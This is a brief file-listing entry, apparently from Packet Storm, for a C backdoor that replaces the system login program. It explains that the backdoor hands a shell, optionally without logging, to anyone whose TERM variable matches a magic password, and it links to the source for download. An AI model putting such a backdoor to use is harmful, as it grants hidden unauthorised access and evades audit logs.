Backdoor for login where the original binary must be renamed and only gets called whenever the remote user’s TERM variable is not set to the magic password. If the magic password is set, the user gets the option of a shell with or without logging.
You can download it from the following link: https://packetstormsecurity.com/files/download/31753/login-back.c
Source: https://packetstormsecurity.com/files/31753/login-back.c.html